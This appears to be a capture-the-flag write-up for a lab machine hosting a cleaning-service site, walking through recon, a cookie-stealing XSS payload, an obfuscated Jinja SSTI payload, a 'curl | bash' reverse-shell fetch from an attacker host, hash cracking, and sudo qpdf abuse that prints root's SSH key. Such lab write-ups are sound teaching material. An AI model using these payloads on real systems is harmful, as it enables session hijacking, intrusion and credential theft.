Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As always I ignore the SSH port and focus on the HTTP first.
HTTP
Trying to access the webpage I directly get redirected to http://capiclean.htb/
so I’ll add the domain to my /etc/hosts
file and refresh the page. The page advertises a house cleaning service. It does allow me to get a quote at /quote
and exposes an email address contact@capiclean.htb
in the footer.
On /quote
there are three checkboxes to choose from and an input field for an email address. Usually when a quote is requested from a company, there might be someone looking at the request that was sent and Cross-Site-Scripting (XSS) could be possible.
Checking one of the boxes and using a dummy email address, I send the request through BurpSuite and modify the service parameter to contain a simple XXS
that tries to load an image and if that errors out, execute javascript to redirect the user to my webserver and exposing their cookie.
<img src=x onerror='document.location="http://10.10.10.10/" + document.cookie'>
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: http://capiclean.htb
Connection: keep-alive
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=<img+src%3dx+onerror%3d'document.location%3d"http%3a//10.10.10.10/"+%2b+document.cookie'>&email=ryuki%40capiclean.htb
After forwarding the modified request I do get a callback to my webserver from the user on the other side with their cookie.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.254.104 - - [01/Aug/2024 21:47:15] code 404, message File not found
10.129.254.104 - - [01/Aug/2024 21:47:15] "GET /session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zqvgag.RE8mq5P2D-ZRz5c7V7xkTBvLZDs HTTP/1.1" 404 -
10.129.254.104 - - [01/Aug/2024 21:47:15] code 404, message File not found
10.129.254.104 - - [01/Aug/2024 21:47:15] "GET /favicon.ico HTTP/1.1" 404 -
Even though there’s a login screen on /login
, just setting the cookie does not redirect me to another page. I’ll try to find hidden files and folders on the webserver with ffuf to put the stolen cookie to good use.
ffuf -s \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u http://capiclean.htb/FUZZ
logout
login
about
services
dashboard
team
quote
server-status
The bruteforce has a bunch of hits with /dashboard
likely being my next move and sure enough with the cookie I’m logged in and can access the Admin Dashboard.
There are four functions to choose from:
- Generate Invoice: Add information and receive an invoice ID
- Generate QR: Generate a QR code based on an invoice ID
- Edit Services: Modify the service details, like description and price
- Quote Requests: I assume it displays the quotes sent by customers
Execution
I start with the Generate Invoice function and put in random information. It just returns an ID for the presumably generated invoice. Using this ID on the Generate QR endpoint shows a link and another input field to generate a Scannable Invoice.
Sending the generated link to the QR code as input for the scannable invoice renders an invoice (duh!) and includes the provided QR code in the lower right corner.
Switching out the link with one to my own webserver does not generate a hit there and just includes the link in the output. Maybe the invoice is generated based on a template and is vulnerable to Server-side template injection (SSTI)1. Going through Burp and using {{ 7 * 7 }}
as link renders a 49
within the invoice and confirms the vulnerability.
Most payloads result in a status code 500 but a highly obfuscated version from here gets the job done and the output of the id
command is included in the invoice.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
To get a reverse shell I place my payload into a file called shell
and serve it via HTTP. This does prevent problems with special characters in the payload. Then I replace the id
command with curl 10.10.10.10/shell|bash
(url-encoded) and resend the payload. This grants me access as www-data
.
Privilege Escalation
Shell as consuela
The python application has the credentials for the database hardcoded within /opt/app/app.py
and I can check the MySQL database for any additional credentials.
--- SNIP ---
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
--- SNIP ---
Accessing the local database shows three tables quote_requests, services, and users. The users table contains two users and their passwords and based on their length they might be SHA256 hashes.
mysql -u iclean -D capiclean -p
Enter password: # pxCsmnGLckUb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 518
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests |
| services |
| users |
+---------------------+
3 rows in set (0.00 sec)
mysql> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+------------------------------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)
Only one of the hashes cracks and reveals the password for consuela
being simple and clean
. This lets me change the user and collect the first flag.
john --format=Raw-SHA256 --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
simple and clean (?)
--- SNIP ---
Shell as root
Consuela does have a mail talking about problems with weird PDFs and additionally Consulea can run /usr/bin/qpdf
as any user (as indicated by sudo -l).
To: <consuela@capiclean.htb>
Subject: Issues with PDFs
From: management <management@capiclean.htb>
Date: Wed September 6 09:15:33 2023
Hey Consuela,
Have a look over the invoices, I've been receiving some weird PDFs lately.
Regards,
Management
QPDF is a tool to transform PDFs2 and has an extensive documentation including instructions on how to run it. It provides multiple ways to abuse it in order to read files with elevated privileges, like adding an attachment while generating a PDF or reading command line parameters from a file.
I choose to read the SSH key for the user root (assuming it does exist) and hence create a new empty PDF while adding the file in /root/.ssh/id_rsa
as attachment. The --qdf
switch allows the modification of the PDF in a text editor and therefore does not encode the contents of the attachment making it readable as plain text.
sudo /usr/bin/qpdf --empty /tmp/ssh.pdf \
--qdf \
--add-attachment /root/.ssh/id_rsa --
cat /tmp/ssh.pdf
--- SNIP ---
stream
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
endstream
endobj
--- SNIP ---
With the SSH key I log into the system and collect the final flag.
Attack Path
flowchart TD subgraph "Initial Access" A(Getting a Quote) -->|Cross-Site Scripting|B(Cookie for Admin Dashboard) end subgraph "Execution" B -->|Server-side Template Injection|C(Shell as www-data) end subgraph "Privilege Escalation" C -->|Crack Hashes in MySQL Database|D(Shell as consuela) D -->|Read files with QPDF|E(Shell as root) end